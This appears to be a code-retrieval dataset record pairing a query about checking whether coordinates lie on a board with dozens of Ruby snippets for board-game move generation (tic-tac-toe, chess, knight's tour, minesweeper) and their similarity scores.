"def arround_square(scope = 1)\n sl = scope * COORDINATE_PER_KM\n return [XNavi::Coordinate.new(@x - sl, @y - sl), XNavi::Coordinate.new(@x+sl, @y+sl)]\n end",
"def children\n # debugger\n dup_board = @board.dup\n possible_moves = []\n \n\n # debugger\n (0...dup_board.rows.length).each do |row|\n (0...dup_board.rows.length).each do |col|\n position = [row, col]\n # debugger\n if dup_board.empty?(position)\n # debugger\n dup_board[position] = next_mover_mark\n\n if next_mover_mark == :o\n next_mover_mark = :x\n else\n next_mover_mark = :o\n end\n\n possible_moves << TicTacToeNode.new(dup_board,next_mover_mark,position)\n\n end\n end\n end\n possible_moves\n end",
"def possibleMoves(position)\n moves = []\n for x in 0..2\n for y in 0..2\n if position[x][y]==0\n moves << 3*x + y + 1 #board labeled 1 - 9\n end\n end\n end\n return moves\n end",
"def children\n child_array = []\n board.rows.each_index do |row|\n board.rows[row].each_index do |col|\n pos = [row, col]\n if board[pos].nil?\n new_board = board.dup\n new_board[pos] = next_mover_mark\n child_array << self.class.new(new_board, switch_mark(next_mover_mark), pos)\n end\n end\n end\n child_array\n end",
"def children\n rows = @board.rows\n children_arr = []\n rows.each_with_index do |row, i|\n row.each_with_index do |tile, j|\n new_board = Board.new(rows.deep_dup)\n if board.empty?([i,j])\n new_board[[i, j]] = @next_mover_mark\n children_arr << TicTacToeNode.new(new_board, @prev_mover_mark, [i,j])\n end\n end\n end\n children_arr\n end",
"def children\n# debugger\n open_positions = []\n children = []\n @board.rows.each_index do |i|\n (0..2).each do |j|\n open_positions << [i, j] if @board.rows[i][j] == nil\n end\n end\n open_positions.each do |pos|\n new_board = @board.rows.dup\n child_board = Board.new(new_board)\n child_board[pos] = next_mover_mark\n new_mark = next_mover_mark\n new_mark == :x ? new_mark = :o : new_mark = :x\n children << TicTacToeNode.new(new_board, new_mark, prev_move_pos =)\n end\n return children \n end",
"def grow_unblocked_moves_in_dir(dx,dy)\n start_x, start_y = self.pos\n #start for rook white === [7,0]\n # [6,0]\n # [5,0]\n # [4,0]\n # [3,0]\n # [2,0]\n\n dx = -1 #first iteration UP\n dy = 0\n\n\n 1.step do |i|\n start_x += dx\n start_y += dy\n if self.board.rows[start_x][start_y].empty? #[6,0]\n\n end\n # create an array to collect moves\n\n # get the piece's current row and current column\n\n\n # in a loop:\n # continually increment the piece's current row and current column to \n # generate a new position\n # stop looping if the new position is invalid (not on the board); the piece \n # can't move in this direction\n # if the new position is empty, the piece can move here, so add the new \n # position to the moves array\n # if the new position is occupied with a piece of the opposite color, the \n # piece can move here (to capture the opposing piece), so add the new \n # position to the moves array\n # but, the piece cannot continue to move past this piece, so stop looping\n # if the new position is occupied with a piece of the same color, stop looping\n\n # return the final moves array\n end\n \nend",
"def protecting_moves(pieces)\n\t\tarrPos = []\n\t\tif team == 1\n\t\t\tarrPos << [@xCord - 1, @yCord + 1] if square_taken_teammate?(pieces, [@xCord - 1, @yCord + 1])\n\t\t\tarrPos << [@xCord + 1, @yCord + 1] if square_taken_teammate?(pieces, [@xCord + 1, @yCord + 1])\n\t\telsif team == 2\n\t\t\tarrPos << [@xCord - 1, @yCord - 1] if square_taken_teammate?(pieces, [@xCord - 1, @yCord - 1])\n\t\t\tarrPos << [@xCord + 1, @yCord - 1] if square_taken_teammate?(pieces, [@xCord + 1, @yCord - 1])\n\t\tend\n\t\tarrPos\t\n\tend",
"def neighbors\n mr_rogers = []\n\n (-1..1).each do |x_change|\n (-1..1).each do |y_change|\n new_indx = [x_change + index[0], y_change + index[1]]\n mr_rogers << new_indx if valid_index?(new_indx)\n end\n end\n\n mr_rogers.delete(index)\n mr_rogers.map{|arr| @board[arr[0]][arr[1]]}\n end",
"def generate_surrounding_spaces(x, y)\n surround_array = []\n# Loop over 3x3 grid\n for i in x-1..x+1\n for j in y-1..y+1\n # Exclude the center square and ones not on the grid\n if ((i==x) && (j==y)) || !is_on_grid(i,j)\n next\n end\n surround_array.push([j, i])\n end\n end\n\n return surround_array\nend",
"def moves\n all_moves = []\n self.move_dirs.each do |move| \n if ((0..7).include?(self.pos[0] + move[0]) && (0..7).include?(self.pos[1] + move[1])) && !(@board[(self.pos[0] + move[0]), (self.pos[1] + move[1])].is_a?(Piece)) #|| self.color == \n all_moves << [(self.pos[0] + move[0]), (self.pos[1] + move[1])]\n end \n end\n all_moves\n end",
"def neighbors(x, y)\n neighbors = []\n neighbors << [(x + 1), y] if (x + 1) < grid.count\n neighbors << [(x - 1), y] if x > 0\n neighbors << [x, (y + 1)] if (y + 1) < grid[0].count\n neighbors << [x, (y - 1)] if y > 0\n neighbors.select { |pos| self[*pos] != -1 }\n end",
"def get_possible_moves\n moves = \n\t @@offsets.collect do |move| \n\t row = @position[:row] + move[0]\n\t col = @position[:col] + move[1]\n\t\t[row, col] if row.between?(0, 7) && col.between?(0, 7)\n\t end\n\tmoves.compact\n end",
"def children\n next_moves = []\n (0...3).each do |row|\n (0...3).each do |col|\n pos = [row, col]\n if self.board[pos].nil?\n new_board = self.board.dup\n new_board[pos] = self.next_mover_mark\n next_mark = ((self.next_mover_mark == :x) ? :o : :x)\n\n next_move = TicTacToeNode.new(new_board, next_mark, pos)\n next_moves << next_move\n end\n end\n end\n next_moves\n\n end",
"def walk(grid, x, y)\n [N, S, E, W].shuffle.each do |dir|\n nx, ny = x + DX[dir], y + DY[dir]\n if nx >= 0 && ny >= 0 && ny < grid.length && nx < grid[ny].length && grid[ny][nx] == 0\n grid[y][x] |= dir\n grid[ny][nx] |= OPPOSITE[dir]\n \n return [nx, ny]\n end\n end\n \n nil\nend",
"def possible_moves(position, board, color)\n out_array = []\n\n x = position[0]\n y = position[1]\n\n #going right\n while y < 7\n y += 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n y = position[1]\n while y > 0\n y -= 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n y = position[1]\n while x > 0\n x -= 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n x = position[0]\n while x < 7\n x += 1\n if board[x][y] && board[x][y].color != color\n out_array.push([x, y])\n break\n elsif board[x][y] && board[x][y].color == color\n break\n end\n out_array.push([x, y])\n end\n\n\n out_array\n end",
"def get_neighbors(current)\n\t\tneighbors = []\n\t\tSQUARES.each do |square|\n\t\t\tx = current.x + square[0]\n\t\t\ty = current.y + square[1]\n\t\t\tif valid_move(x, y)\n\t\t\t\tneighbors.push(@map[[x,y]])\n\t\t\tend\n\t\tend\n\t\treturn neighbors.sort\n\tend",
"def knight_moves(start, finish)\n tree = MoveTree.new(start)\n queue = [tree]\n result = nil\n visited_points = Set.new()\n while queue.length > 0\n current_node = queue.shift\n visited_points.add(current_node.point)\n if current_node.point == finish\n result = get_path(current_node)\n break\n else\n propagate_tree(current_node)\n queue += current_node.children.reject { |n| visited_points.include?(n.point) }\n end\n end\n result\nend",
"def children\n arr = []\n (0..2).each do |x|\n (0..2).each do |y|\n if @board[[x,y]].nil?\n new_board = @board.dup\n new_board[[x,y]] = next_mover_mark\n new_mark = nil\n next_mover_mark == :o ? new_mark = :x : new_mark = :o\n prev_move_pos = [x,y]\n arr << TicTacToeNode.new(new_board, new_mark, prev_move_pos)\n end\n end\n end\n arr\n end",
"def possible_moves(board)\n poss_move_array = []\n current_square = @history.last\n current_coords = parse_coord(current_square)\n\n poss_move_array.push(single_march(current_coords, board)) if single_march(current_coords, board)\n\n poss_move_array.push(double_march(current_coords, board)) if first_move? && double_march(current_coords, board)\n\n valid_diagonals(current_coords, board).each { |move| poss_move_array.push(move) }\n\n # en passant only allowed opportunity first created\n poss_move_array.push(en_passant?(current_coords, board)) if en_passant?(current_coords, board)\n\n poss_move_array\n end",
"def moves_knight(color, a, b)\n \t_moves = knight(a, b)\n \t_moves.map! do |spot|\n\t\t\tx, y = spot\n\t\t\tnext if (x < 0 || x > 7 || y < 0 || y > 7) \n\t\t\tspot if (@board[x][y].piece == nil || @board[x][y].piece.color != color)\n\t\tend\n\t\t_moves.compact\n end",
"def children\n ret_arr = []\n (0..2).each do |x|\n (0..2).each do |y|\n pos = [x, y]\n if board.empty?(pos)\n new_board = board.dup\n new_board[pos] = @next_mover_mark\n if @next_mover_mark == :x\n next_mark = :o\n else\n next_mark = :x\n end\n new_node = TicTacToeNode.new(new_board, next_mark, pos)\n ret_arr << new_node\n end\n end\n end\n \n ret_arr\n end",
"def moves\n # create array to collect moves\n final_array = []\n\n\n\n pos = self.move_dirs\n\n pos.each do |optional_pos|\n\n end\n\n # Note do these logics for all the optional positions \n spec_dx = pos[0]\n spec_dy = pos[1]\n\n possible_movements = grow_unblocked_moves_in_dir(spec_dx, spec_dy)\n possible_movements\n # ending\n\n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"def authorized_squares_generic matrixes, distance_max\n return [] if !self.alive?\n authorized_squares_array = []\n matrixes.each do |matrix|\n (1..distance_max).each do |i|\n cur_x = x+i*matrix[0]\n cur_y = y+i*matrix[1]\n if Chess::Board.in_board? cur_x, cur_y\n square_candidate = board.squares[cur_x][cur_y]\n if (occuped = square_candidate.occuped?)\n if occuped == @color\n break\n else\n authorized_squares_array += [square_candidate]\n break\n end\n else\n authorized_squares_array += [square_candidate]\n end\n else\n break\n end\n end\n end\n return authorized_squares_array\n end",
"def get_moves_in_depth(num)\n get_moves_in_depth_helper(num, @root, 0).flatten\n end",
"def get_poss_moves\n x = @location[0] #x is row\n y = @location[1] #y is column\n\n move_list = [] #quarter circle forward punch\n\n if @colour == \"white\"\n move_list = white_pawn_moves(x,y)\n else\n move_list = black_pawn_moves(x,y)\n end\n\n possible_moves = move_list.select { |e|\n (e[0] >= 0) && (e[0] <= 7) && (e[1] >= 0) && (e[1] <= 7)\n }\n possible_moves\n end",
"def children\n possible_moves = []\n empty = []\n (0..2).each do |row|\n (0..2).each do |col|\n empty << [row,col] if @board.empty?([row,col])\n end\n end\n empty.each do |pos|\n dup_board = board.dup\n dup_board[pos] = @next_mover_mark\n possible_moves << TicTacToeNode.new(dup_board, next_marker, pos)\n end\n possible_moves\n end",
"def get_next_moves\n children = Array.new()\n new_move = @moves + 1\n @code.length.times do |i|\n move_up = Combination.new(next_code(i, :up), self, new_move)\n move_down = Combination.new(next_code(i, :down), self, new_move)\n children.push(move_down, move_up)\n end\n children\n end",
"def children\n children = []\n @board.each.with_index do |row, i|\n row.each.with_index do |spot, j|\n temp_board = @board.dup\n temp_board[i, j] = next_mover_mark if spot.empty?\n prev_move_post = temp_board[i, j]\n children << temp_board\n end\n end\n #if a board spot is empty, \n #we populate a deep dupe of board with the mark, \n #then push this populated board into children\n # end\n return children\n end",
"def children\n arr = []\n # # debugger\n max_index = self.board.rows.length\n (0...max_index).each do |row_i|\n (0...max_index).each do |col_i|\n pos = [row_i, col_i]\n if @board.empty?(pos)\n new_board = @board.dup \n new_board[pos] = next_mover_mark\n prev_move_pos = pos\n next_mover_mark == :x ? next_mover_mark = :o : next_mover_mark = :x\n child = TicTacToeNode.new(new_board, next_mover_mark, prev_move_pos)\n arr << child\n end\n end\n end\n arr\n end",
"def children\n pos_positions = all_positions.select { |pos| @board[pos].nil? }\n mark = switch_mark\n moves = []\n\n pos_positions.each do |pos|\n new_board = @board.dup\n new_board[pos] = @next_mover_mark\n moves << TicTacToeNode.new(new_board, mark, pos)\n end\n\n moves\n end",
"def children\n potential_states = []\n\n @board.rows.each_with_index do |row, x|\n row.each_with_index do |position, y|\n next unless @board.empty?([x, y])\n dup_board = @board.dup\n dup_board[[x,y]] = @next_mover_mark\n new_pos = @prev_move_pos.nil? ? [x, y] : (@prev_move_pos + [x, y])\n new_next_mover_mark = @next_mover_mark == :x ? :o : :x\n potential_states << TicTacToeNode.new(dup_board,\n new_next_mover_mark,\n new_pos)\n end\n end\n\n potential_states\n end",
"def moves\n res = []\n move_dirs.each do |pos| # [0, 1]\n dx, dy = pos # 0, 1\n temp = grow_unblocked_moves_in_dir(dx, dy) # 0, 1 => [[0, 1], [0, 2], [0, 3], [0, 4], [0, 5], [0, 6]]\n res += temp \n end\n res \n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"def generate_moves\n @delta.each do |step|\n (1..7).each do |i|\n new_pos = [@pos[0] + step[0] * i, @pos[1] + step[1] * i]\n if valid_coord?(new_pos)\n @move_list << new_pos\n break if @board[new_pos]\n else\n break\n end\n end\n end\n end",
"def children\n positions = []\n\n (0..2).to_a.each do |row|\n (0..2).to_a.each do |col|\n if @board.empty?([row,col])\n dup_board = @board.dup\n dup_board.[]=([row,col], next_mover_mark)\n\n if @next_mover_mark == :x\n new_next_mover_mark = :o\n else\n new_next_mover_mark = :x\n end\n\n new_prev_move_pos = [row,col]\n positions << TicTacToeNode.new(dup_board, new_next_mover_mark, new_prev_move_pos)\n end\n end\n end\n\n positions\n end",
"def valid_moves\n moves = []\n\n # go in all directions\n (-1..1).each do |_x_step|\n (-1..1).each do |_y_step|\n # start walking in that direction\n (1..7).each do |steps|\n x = x_coordinate + steps * x_direction\n y = y_coordinate + steps * y_direction\n\n # stop walking if you hit a wall\n break unless valid_move?(x, y)\n\n # remember the valid moves\n moves.push(Move.new(x, y))\n end\n end\n end\n moves\n end",
"def square(idx)\n tiles = []\n x = (idx / 3) *3\n y = (idx % 3) * 3\n\n (x...x+3).each do |i|\n (y...y+3).each do |j|\n tiles << self[[i,j]]\n end\n end\n tiles\n end",
"def children\n new_board = Array(3) { Array (3) }\n root = PolyTreeNode.new(new_board)\n possible_moves =\n end\nend",
"def white_moves(pieces)\n board = Chess_board.new.squares\n piece_positions = pieces.map { |piece| piece.position }\n row = @position[0]\n column = @position[1]\n \n all_checked = []\n [[row + 1,column - 1],[row + 1,column + 1]].each do |square| \n if piece_positions.include?(square)\n occupying_piece = pieces.find { |piece| piece.position == square }\n all_checked.push(square) if occupying_piece.color != @color\n end\n end\n if !piece_positions.include?([row + 1, column])\n all_checked.push([row + 1, column])\n all_checked.push([row + 2, column]) if !piece_positions.include?([row + 2, column]) && @moves == 0\n end\n all_checked\n end",
"def get_possible_moves_for(position)\n possible = []\n x = position.square[0]\n y = position.square[1]\n moves = [\n Placement.new([x-1,y-2], position), \n Placement.new([x-1,y+2], position), \n Placement.new([x-2,y-1], position), \n Placement.new([x-2,y+1], position), \n Placement.new([x+1,y+2], position), \n Placement.new([x+1,y-2], position), \n Placement.new([x+2,y-1], position), \n Placement.new([x+2,y+1], position)\n ]\n moves.each do |move|\n possible << move unless Chess.not_on_board?(move)\n end\n possible\n end",
"def get_open_spaces(board)\n\t\topen_spots = Array.new\n\t\tboard.each_with_index do |x, xi|\n\t\t\tx.each_with_index do |y, yi|\n\t\t\t\tif y == ''\n\t\t\t\t\topen_spots.push(Coordinate.new(xi, yi))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\topen_spots\n\tend",
"def knight_moves(starting_position,ending_position)\n return puts \"You didn't need to move at all!\" if starting_position == ending_position\n search_queue = []\n moves_array = [starting_position]\n knight = Knight.new(starting_position)\n possible_moves = knight.next_possible_moves\n if possible_moves.include?(ending_position)\n moves_array << ending_position\n number_of_moves = moves_array.size - 1\n else\n possible_moves.each do |position|\n search_queue << [position]\n end\n end\n until moves_array[-1] == ending_position\n next_moves = search_queue.shift\n knight.position = next_moves[-1]\n possible_moves = knight.next_possible_moves\n if possible_moves.include?(ending_position)\n next_moves.each { |move| moves_array << move }\n number_of_moves = moves_array.size\n moves_array << ending_position\n else\n possible_moves.each do |position|\n possibility = next_moves + [position]\n search_queue << possibility\n end\n end\n end\n if number_of_moves == 1\n puts \"You made it in #{number_of_moves} move! Here's your path:\"\n else\n puts \"You made it in #{number_of_moves} moves! Here's your path:\"\n end\n moves_array.each { |position| puts position.inspect }\nend",
"def children\n children = []\n\n (0..2).each do |x|\n (0..2).each do |y|\n if @board.empty?([x, y])\n new_board = @board.dup\n new_board[[x, y]] = @next_mover_mark\n child_mark = @next_move_marker\n if @next_move_marker == :o\n child_mark = :x\n else\n child_mark = :o\n end\n child_node = TicTacToeNode.new(new_board, child_mark, [x, y])\n children << child_node\n end\n end\n end\n\n return children\n end",
"def _get_board_squares(square_starting_points)\n array_of_squares = []\n square_starting_points.each do |starting_point|\n row_index = starting_point[0]\n column_index = starting_point[1]\n 3.times do\n 3.times do\n array_of_squares << sudoku_board[row_index][column_index]\n column_index += 1\n end\n row_index += 1\n column_index = starting_point[1]\n end \n end\n array_of_squares.each_slice(9).to_a\n end",
"def attacking_coordinates(piece_type = 'Queen')\n attacking_pairs(piece_type).map { |pair| pair.map(&:coordinates) }\n end",
"def children\n arr = []\n (0..2).each do |i|\n (0..2).each do |j|\n pos = [i, j]\n next unless @board.empty?(pos)\n new_board = @board.dup\n new_board[pos] = @next_mover_mark\n child_mover_mark = @next_mover_mark == :x ? :o : :x\n arr << TicTacToeNode.new(new_board, child_mover_mark, pos) \n end\n end\n arr\n end",
"def get_empty_connected_squares(sq)\n row, column = sq[:row], sq[:column]\n result = []\n for dx in [-1,0,1]\n for dy in [-1,0,1]\n if dx != 0 || dy != 0\n sq_x = row + dx\n sq_y = column + dy\n while (0..@board_size-1) === sq_x && (0..@board_size-1) === sq_y\n result << { :row => sq_x, :column => sq_y } if @squares[sq_x][sq_y] == ' '\n sq_x += dx\n sq_y += dy\n end\n end\n end\n end\n return result\n end",
"def children\n children_arr = []\n (0..2).each do |row|\n (0..2).each do |col|\n duped_board = @board.dup\n next unless duped_board.empty?([row,col])\n duped_board[[row, col]] = @next_mover_mark\n children_arr << TicTacToeNode.new(duped_board, opposing_move(@next_mover_mark), [row, col])\n end\n end\n children_arr\n end",
"def children\n possible_nodes = []\n 3.times do |x|\n 3.times do |y|\n if @board.empty?([x, y])\n new_board = @board.dup\n new_board[[x, y]] = @next_mover_mark\n new_mover_mark = (@next_mover_mark == :x ? :o : :x)\n possible_nodes << TicTacToeNode.new(new_board, new_mover_mark, [x, y])\n end\n #call on losing_node? or winning_node? to figure out if this is our move\n end\n end\n possible_nodes\n end",
"def children\n results = []\n @board.rows.each_with_index do |row, x|\n row.each_index do |y|\n if @board.empty?([x,y])\n cp_board = @board.rows.deep_dup\n cp_board[x][y] = @next_mover_mark\n new_board = Board.new(cp_board)\n switch = change_mark(next_mover_mark)\n moves = [x, y]\n @prev_move_pos = moves\n new_node = TicTacToeNode.new(new_board, switch, moves)\n results << new_node\n end\n end\n end\n\n results\n\n end",
"def children\n moves = []\n (0..2).each do |r|\n (0..2).each do |c|\n if board.empty?([r, c])\n dup_board = board.dup\n\n dup_board[[r, c]] = next_mover_mark\n if next_mover_mark == :x\n next_mover_mark = :o\n else\n next_mover_mark = :x\n end\n\n moves << TicTacToeNode.new(dup_board, next_mover_mark, [r, c])\n p moves\n end\n end\n end\n\n return moves\n end",
"def jump_moves\n moves = [] # initializes empty move array\n\n # choses \"forward\" y direction based on piece team\n if @team == \"l\"\n dir = 1\n else\n dir = -1\n end\n\n # looks at the two forward far diagonal positions and adds them to moves array if there are no pieces there and an opponent piece in between\n pos1 = [@x_pos + 2, @y_pos + 2*dir]\n moves << pos1 if Piece.all.find{|p| p.x_pos == @x_pos + 1 && p.y_pos == @y_pos + dir && p.team != @team} && Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos1}\n pos2 = [@x_pos - 2, @y_pos + 2*dir]\n moves << pos2 if Piece.all.find{|p| p.x_pos == @x_pos - 1 && p.y_pos == @y_pos + dir && p.team != @team} && Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos2}\n \n\n # deletes any moves with coordinates that aren't on the board\n moves.delete_if{|move| move.find{|n| n < 0 || n > 7}}\n return moves\n end",
"def moves_for(player_color)\n moves = Array.new\n board.each_with_keys do |x, y, value|\n if value.eql?(player_color)\n moves.concat generate_for(x,y)\n end\n end\n moves\n end",
"def children\n list = Array.new\n (0..2).each do |x|\n (0..2).each do |y|\n pos = [x,y]\n list << create_node(pos) if @board.empty?(pos)\n end\n end\n return list\n end",
"def next_possible_moves\n positions_array = []\n x = @position[0]\n y = @position[1]\n next_position = [x+1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y-1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y-1]\n positions_array << next_position if position_check(next_position)\n positions_array\n end",
"def track_route root_coords, target_coords\n root = Square.new(root_coords[0], root_coords[1])\n target = Square.new(target_coords[0], target_coords[1])\n result = search(root, target)\n\n # initializes route array with target square's coordinates\n route = []\n route << [result.x, result.y]\n \n # backtraces through parents of search items, tracking their coordinates along the way\n current = result.parent\n until current.nil?\n route << [current.x, current.y]\n current = current.parent\n end\n # reverse route to put in 'playing' order for knight moves\n route.reverse!\n\n puts \"You made it in #{route.length - 1} moves! Here is your route:\"\n route.each { |square| p square}\n return nil\nend",
"def moves\n poss_moves = []\n determine_moves.each do |diff| #array of directions\n poss_moves += grow_unblocked_moves_in_dir(diff[0],diff[1])\n end\n poss_moves\n end",
"def generate_children_coordinates(x,y)\n child_coordinates = []\n MOVEMENT_DIFF.each do |dx, dy|\n move = [x+dx, y+dy]\n child_coordinates << move if within_limits?(move)\n end\n child_coordinates\n end",
"def children\n node_arr = []\n (0..2).each do |row|\n (0..2).each do |col|\n if @board.empty?([row, col])\n updated_board = @board.dup\n updated_board[[row, col]] = @next_mover_mark\n updated_positions = @prev_move_pos.dup\n updated_positions += [row, col]\n node_arr << TicTacToeNode.new(updated_board, @next_mover_mark == :o && :x || :o, updated_positions) \n end\n end\n end\n node_arr\n end",
"def children\n child_boards = []\n child_mark = ((@next_mover_mark == :x) ? :o : :x)\n (0...3).each do |row|\n (0...3).each do |col|\n pos = [row, col]\n if @board.empty?(pos)\n next_possible_board = @board.dup\n next_possible_board[pos] = @next_mover_mark\n child_boards << TicTacToeNode.new(next_possible_board, child_mark, pos)\n end\n end\n end\n child_boards\n end",
"def neighbours(x, y)\n # With permutation() we can exclude diagonal cells in the square around a cell\n [-1, 0, 1].permutation(2).map { |(dx, dy)| [x + dx, y + dy]}\n .select { |(c, r)| c >= 0 && r >= 0 && !@board[r].nil? && @board[r][c] == @board[y][x] }\n end",
"def gen_king_moves(color)\n moves = []\n if color == :white\n position = @position.white \n comrades = @position.white_pieces\n else\n position = @position.black\n comrades = @position.black_pieces\n end\n \n # there is only one king, but keep the structure for consistency\n position[:king].set_bits.each do |from| \n # valid moves are those moves not blocked by our own pieces\n move_to = (Move::Attacks[:king][from] & ~comrades) \n move_to.set_bits.each { |to| moves.push [Square.index(from), Square.index(to)] }\n end\n \n moves\n end"
] |
[
"0.6891413",
"0.6891112",
"0.6749234",
"0.6566769",
"0.6564747",
"0.6540462",
"0.6408261",
"0.6377399",
"0.6327106",
"0.62944263",
"0.6270446",
"0.6264",
"0.6256845",
"0.6222055",
"0.6202018",
"0.61890566",
"0.61872584",
"0.61830306",
"0.61789703",
"0.6170842",
"0.61585224",
"0.61451006",
"0.6135832",
"0.61318755",
"0.61309767",
"0.6123816",
"0.6116212",
"0.6112104",
"0.60995626",
"0.6098967",
"0.6084024",
"0.60795206",
"0.607567",
"0.6071756",
"0.60580814",
"0.60572577",
"0.60424304",
"0.604139",
"0.6040802",
"0.6027614",
"0.6027546",
"0.6019501",
"0.60165006",
"0.6013846",
"0.6008898",
"0.60014063",
"0.59986806",
"0.5997449",
"0.5994222",
"0.59926796",
"0.5989803",
"0.59872925",
"0.5985335",
"0.59833604",
"0.5983281",
"0.5982995",
"0.59827185",
"0.59819496",
"0.5981843",
"0.59775496",
"0.5973835",
"0.59722227",
"0.5972032",
"0.59705573",
"0.59665006",
"0.5963941",
"0.59621704",
"0.5957603",
"0.59546626",
"0.59477425",
"0.59461445",
"0.5946094",
"0.59448713",
"0.59371084",
"0.59367555",
"0.5931846",
"0.592726",
"0.59250605",
"0.5917467",
"0.5915191",
"0.5913708",
"0.5911849",
"0.59044427",
"0.58956456",
"0.5895433",
"0.5887308",
"0.5886889",
"0.5884969",
"0.58833164",
"0.58769",
"0.58756965",
"0.5874355",
"0.5873473",
"0.5864701",
"0.5856306",
"0.5851078",
"0.5850373",
"0.58502316",
"0.58492875",
"0.5847404"
] |
0.6621611
|
3
|
Returns TRUE if all of the coordinates fall on the board. Based on BOARD_SIZE
|
def on_board?(coords)
coords.any? {|coord| coord < 1 || coord > @size } ? false : true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ship_coords_are_all_on_board\n all_aboard = true\n @ship.coords.each do |coord|\n row, col = coord\n # if row & col are NOT between 0 and 9...\n unless row.between?(0,9) && col.between?(0,9)\n # ...then not all the coords are ok.\n all_aboard = false\n end\n break unless all_aboard == true\n end\n return all_aboard\n end",
"def on_board?(pos)\n pos.all? {|coord| coord.between?(0, SIZE - 1)}\n end",
"def within_board?(x, y)\n BOARD_SIZE.include?(x) && BOARD_SIZE.include?(y)\n end",
"def on_board? position #position should be [x,y]\n\t\tposition.all? { |val| val.between?( 0, 7 ) }\n\tend",
"def touching?(board)\n @positions.any? do |row, col|\n [[0, 0], [1, 0], [-1, 0], [0, 1], [0, -1]].any? do |dr, dc|\n board.nonempty_space?(row + dr, col + dc)\n end\n end\n end",
"def on_board?(end_point)\n\t\tend_x, end_y = end_point\n\t\treturn false if pos_x < 0 || pos_x > 7\n\t\treturn false if pos_y < 0 || pos_y > 7\n\t\treturn false if end_x < 0 || end_x > 7\n\t\treturn false if end_y < 0 || end_y > 7\n\t\treturn true\n\tend",
"def board_full?\n @board.flatten.all?\n @turn == 9 \n end",
"def on_board?(pos)\n pos.all? {|p| p >= 0 && p <= 7}\n end",
"def on_board?(*args)\n x, y, length, direction = args.flatten\n\n x_max = x\n y_max = y\n case direction\n when :across\n x_max = x + length\n when :down\n y_max = y + length\n end\n\n @x_range.cover?(x) && @y_range.cover?(y) && @x_range.cover?(x_max) && @y_range.cover?(y_max)\n end",
"def ship_check(coords)\n coords.all? do |sel_coord|\n @board_hash[sel_coord].empty?\n end\n end",
"def valid_board_coordinates?(x, y)\n x >= 0 && y >= 0 && x < 3 && y < 3\n end",
"def on_board?(pos)\n pos.all? { |el| el.between?(0, @board.size - 1) }\n end",
"def on_board?(location)\n location.all? {|p| p >= 0 && p <= 7}\n end",
"def full?\n return @board.all?{|pos| pos == \"X\" or pos == \"O\"}\n end",
"def valid_coordinates?(x, y)\n (1..board_width).include?(x.to_i + 1) &&\n (1..board_height).include?(y.to_i + 1)\n end",
"def full?\n @board.all? do |location| \n location == \"X\" || location == \"O\"\n end\n end",
"def full?\n @board.all? {|position| position == \"X\" or position == \"O\"}\n end",
"def fits? (shape)\n ->(delta) {\n shape.each do |point|\n if !@board.empty_at(plus(point, delta))\n then\n return false\n end\n end\n return true\n }\n end",
"def in_board?(x, y)\n x >= 0 && y >= 0 && x < @board.size && y < @board[x].size - 1\n end",
"def full?(board)\n board.all? do |marker|\n marker == \"X\" || marker == \"O\"\n end\n end",
"def occupied?(x,y) # board position !nil\n !self.board.grid[x][y].nil?\n end",
"def inside_board?(r, c)\n (r >= 0) && (c >= 0) && (r <= @row_limit) && (c <= @column_limit)\n end",
"def board_full\n\n # Assume the board is full\n result = true\n\n # Outer loop through each row\n for row in 0..BOARD_MAXIMUM_INDEX\n\n # Inner loop through each column\n for column in 0..BOARD_MAXIMUM_INDEX\n\n # Is this cell occupied?\n if @board[row][column] == EMPTY_POSITION\n\n # No, the board is not full and the game must continue\n result = false\n\n end\n\n end\n\n end\n\n # Since we found no open positions, the board is full\n return result\n\n end",
"def consistent?\n ret = true\n # Check every row first\n @board.each_row do |row|\n row_numbers = Set.new\n row.each do |cell|\n n = cell.number\n if n and row_numbers.include? n\n ret = false\n end\n row_numbers << n\n end\n end\n # Check every column\n @board.each_column do |col|\n col_numbers = Set.new\n col.each do |cell|\n n = cell.number\n if n and col_numbers.include? n\n ret = false\n end\n col_numbers << n\n end\n end\n # Check every region\n @board.each_region do |reg|\n reg_numbers = Set.new\n reg.each do |cell|\n n = cell.number\n if n and reg_numbers.include? n\n ret = false\n end\n reg_numbers << n\n end\n end\n return ret\n end",
